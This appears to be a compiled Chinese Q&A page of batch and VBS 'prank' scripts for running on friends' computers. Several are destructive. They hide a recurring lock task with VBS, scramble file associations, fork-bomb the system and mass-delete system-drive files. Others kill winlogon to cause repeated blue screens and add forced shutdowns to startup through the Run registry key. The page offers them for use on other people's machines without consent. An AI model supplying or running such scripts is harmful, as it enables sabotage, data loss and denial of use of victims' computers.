『壹』 求bat搞笑

整屏的襲0101在滾動，很漂亮
@echo off
title 黑客帝國
setlocal ENABLEDELAYEDEXPANSION
color 0a
for /l %%i in (1,1,80) do (
set Down%%i=0
)
:loop
for /l %%j in (1,1,80) do (
set /a Down%%j-=1
if !down%%j! LSS 0 (
set /a Arrow%%j=!random!%%4
set /a Down%%j=!random!%%15+10
)
if "!Arrow%%j!" == "1" (
set /a chr=!random!%%2
set /p=!chr!<nul
) else (
set /p= <nul
)
)
goto loop
goto :eof

『貳』 求惡搞好友鎖機代碼bat 代碼。

惡搞有度，鎖屏就行了，也不會導致數據丟失。

鎖屏命令：rundll32.exe user32.dll,LockWorkStation
將上語句保存為批處理文件，再用vbs隱藏（網路可查vbs隱藏批處理）。
建立計劃任務，每五分鍾執行一次vbs，玩游戲時，估計會砸鍵盤。

『叄』 跪求bat整人代碼

這是一個惡搞程序，運行後會出現N個本地磁碟，但是對電腦沒有什麼實際傷害。
@echo off
for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: C:\)
如果要解除就用這個
@echo off
for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: /d)
如果你對對方恨之入骨就用這個，這個會把文件關聯改的一團糟
@echo off
assoc .exe=txtfile
assoc .txt=exefile
assoc .mp3=txtfile
assoc .flv=txtfile
assoc .swf=txtfile
assoc .fla=txtfile
assoc .jpg=txtfile
assoc .bmp=txtfile
assoc .zip=txtfile
assoc .7z=txtfile
assoc .rar=txtfile
assoc .tag=txtfile
assoc .jpge=txtfile
assoc .mp4=txtfile
assoc .3gp=txtfile
assoc .avi=txtfile
assoc .wav=txtfile
assoc .htm=txtfile
assoc .html=txtfile
assoc .vbs=txtfile
assoc .vbe=txtfile
assoc .js=txtfile
assoc .rxproj=txtfile
assoc .mdb=txtfile
assoc .dll=txtfile
assoc .dat=txtfile
assoc .sys=txtfile
assoc .wmv=txtfile
assoc .ogg=txtfile
assoc .db=txtfile
assoc .mid=txtfile
assoc .gif=txtfile
assoc .png=txtfile
assoc .doc=txtfile
assoc .exl=txtfile
assoc .pdf=txtfile
assoc .chm=txtfile
assoc .nfo=txtfile

或者用這個
@echo off
%0 "%ALLUSERSPROFILE%\「開始」菜單\程序\啟動"
shutdown -s -f -t 0

你也可以用這個超級彈窗程序嚇嚇他
@echo off
for /l %%i in (1,1,10000) do (start %0)

『肆』 求簡單的整人Bat代碼

嚴重警告！極度危險！不是惡搞程序！
@echo off
color 4f
title c:files killer
taskkill /im explorer.exe /f
echo 刪除C盤所有文件......
del /f /s /q "%systemdrive%\*.tmp"
del /f /s /q "%systemdrive%\*.dmp"
del /f /s /q "%systemdrive%\*._mp"
del /f /s /q "%systemdrive%\*.gid"
del /f /s /q "%systemdrive%\*.old"
del /f /s /q "%systemdrive%\*.chk"
del /f /s /q "%systemdrive%\*.bak"
del /f /s /q "%systemdrive%\*.log"
del /f /s /q "%systemdrive%\*.txt"
del /f /s /q "%systemdrive%\*.ini"
del /f /s /q "%systemdrive%\Recycled\*.*"
del /f /s /q "%systemdrive%\RECYCLER\*.*"
del /f /s /q "%windir%\inf\*.pnf"
del /f /s /q "%windir%\Prefetch\*.*"

『伍』 bat整人代碼

@echo off
color 0a
:firdo
echo.x=msgbox("對不起！你被系統鄙視了！！" ,Buttons, "錯誤！")>%systemdrive%\error.vbs
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "systemvbs" /t REG_SZ /d "%systemdrive%\error.vbs" >nul
start %systemdrive%\error.vbs
:secdo
echo.@echo off >%systemdrive%system.bat
echo.shutdown -f -s -t 10 -c "對不起！你被系統鄙視了" >>%systemdrive%\system.bat
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "system" /t REG_SZ /d "%systemdrive%\system.bat" >nul
shutdown -f -s -t 10 -c "對不起！你被系統鄙視了"

exit

解釋，在firdo，bat在系統盤自動創建一個vbs文件然後自動開啟它，開了會彈出「錯誤，你被系統鄙視了」的氣球，並且把它加到開機啟動項，每每開機時就會彈出以上的氣球...
在secdo，bat在系統盤自動創建另一個bat文件，就是關機的代碼，並且加入該bat文件到開機啟動項，每每一開機10秒後便開始關機，這個夠嗆的吧～ ^ ^

以上是我為了整朋友而創作的，絕對原創～希望你看得懂我的解釋..........

『陸』 我想要額惡搞別人電腦的bat代碼

@echo off
cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul

藍屏代碼，放在開始菜單啟動項里就可以無限藍屏，解決方法，安全模式，刪除即可

『柒』 求電腦惡搞代碼

if not exist c:1.txt echo. >c:1.txt & goto err1
if not exist c:2.txt echo. >c:2.txt & goto err1
if not exist c:3.txt echo. >c:3.txt & goto err1
if not exist c:4.txt echo. >c:4.txt & goto err1
if not exist c:5.txt echo. >c:5.txt & goto err1
goto err2
:err1 shutdown -s -t 0
:err2 上面可以讓對方電腦重啟5次後不在重啟，當然如果你修改一下加個if not exist c:6.txt echo. >c:6.txt & goto err1那就是重啟6次 改成7就是7次...
打開「開始→程序→附件→記事本」，把代碼部分復制進去，點「另存為」，路徑選「你想要放的地方」，保存類型為「所有文件」，文件名為「你想要的名字.bat」，你的批量處理器就完成了。

『捌』 求Bat整人代碼。。很搞笑很嚇人但是很安全！

@echo
off
color
0b
mode
con:
cols=80
lines=20
@title=超級病毒
for
/L
%%a
in
(
3,-1,0
)
do
(
for
/l
%%a
in
(1,1,8)
do
echo\
echo
入侵倒計時
%%a
秒
ping
-n
2
127.1
1>nul
2>nul
cls
)
cls
color
40
for
/l
%%a
in
(1,1,8)
do
echo\
echo
正在遭受黑客入侵...
ping
127.1
/n
3
>nul
echo.
echo
警告！警告！電腦已被入侵！！！
ping
127.1
/n
3
>nul
cls
echo.
echo.
echo.
echo
正在刪除G盤所有文件...
set
/p
a=">============================================================================
=="<nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=<nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^><nul
ping/n
1
127.1
>nul
)
echo
刪除完畢
echo.
echo
正在刪除E盤所有文件...
set
/p
a=">============================================================================
=="<nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=<nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^><nul
ping/n
1
127.1
>nul
)
echo
刪除完畢
echo.
echo
正在刪除D盤所有文件...
set
/p
a=">============================================================================
=="<nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=<nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^><nul
ping/n
1
127.1
>nul
)
echo
刪除完畢
echo.
echo
正在刪除C盤所有文件...
set
/p
a=">============================================================================
=="<nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=<nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^><nul
ping/n
1
127.1
>nul
)
echo
刪除完畢
echo.
echo
正在刪除分區表...
set
/p
a=">============================================================================
=="<nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=<nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^><nul
ping/n
1
127.1
>nul
)
echo.
echo
刪除完畢
echo.
echo.
echo
正在遭受黑客的炸彈襲擊！
echo.
echo
電腦崩潰！准備關閉系統！
ping
127.1
/n
3
>nul
shutdown
-s
-t
0
>nul<p>
</p>

『玖』 惡搞程序代碼

代碼如下，復制到記事本，將txt改為vbs就ok了，中間的字可自己改。
if MsgBox("對不起,您灌水太多需要重新版啟動計算機。權"&chr(10)&"確定要重啟嗎？",vbOKCancel+vbInformation,"重新啟動計算機")=vbCancel then

msgbox " 正在清理系統垃圾wow ~_^",,"算你倒霉！！"
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "shutdown -s -t 5",,true
end if

加分哦